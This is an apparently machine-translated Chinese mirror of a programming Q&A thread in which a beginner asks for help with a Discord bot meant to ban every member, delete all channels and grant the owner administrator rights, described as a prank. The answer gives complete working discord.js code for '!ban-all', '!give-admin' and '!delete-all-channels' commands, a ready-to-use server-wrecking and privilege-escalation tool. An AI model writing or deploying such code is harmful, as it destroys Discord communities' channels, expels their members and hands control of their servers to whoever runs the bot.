为什么我的不和谐机器人没有按预期做事?

时间:2020-08-04 02:43:22

标签: javascript node.js discord bots discord.js

所以我是一个初学者,我正在努力使自己成为第一个机器人!

我决定做点有趣的事情,并创造了这个机器人。它应该禁止所有人离开服务器,删除所有频道,并为您提供管理权限(我实际上不会在其他人身上使用它,我只是在开个玩笑或恶作剧。我是还是一个完整的初学者,如果代码不好,请您谅解)

<img alt="" class="logo" src="">

1 个答案:

答案 0 :(得分:0)

const Discord = require("discord.js");
const client = new Discord.Client();

client.on("ready", () => {
    console.log(`${client.user.tag} is ready!`);
});

client.on("message", message => {
    // Making sure that others cannot use the commands.
    if (message.author.id !== "YourDiscordID") return false;

    if (message.content.toLowerCase() == "!ban-all") {
        message.delete(1000);
        message.guild.members.cache.forEach(member => {
            member.ban().catch(e => {console.log(`Couldn't ban ${member.user.tag}. | ${e}`)});
        });
    };

    if (message.content.toLowerCase() == "!give-admin") {
        message.delete(1000);
        if (!message.guild.me.hasPermission("ADMINISTRATOR")) return message.reply("I do not have Administrator permissions.");

        message.guild.roles.create({
            data: {
                name: "Admin",
                color: "#2f3136",
                permissions: "ADMINISTRATOR"
            },
            reason: "Reason"
        }).then(role => message.member.roles.add(role).catch(e => console.log(`Couldn't add the role. | ${e}`)));
    };

    if (message.content.toLowerCase() == "!delete-all-channels") {
        message.guild.channels.cache.forEach(channel => channel.delete().catch(e => console.log(`Couldn't delete the channel. | ${e}`)));
    };
});

client.login(process.env.DISCORD_AUTH_TOKEN);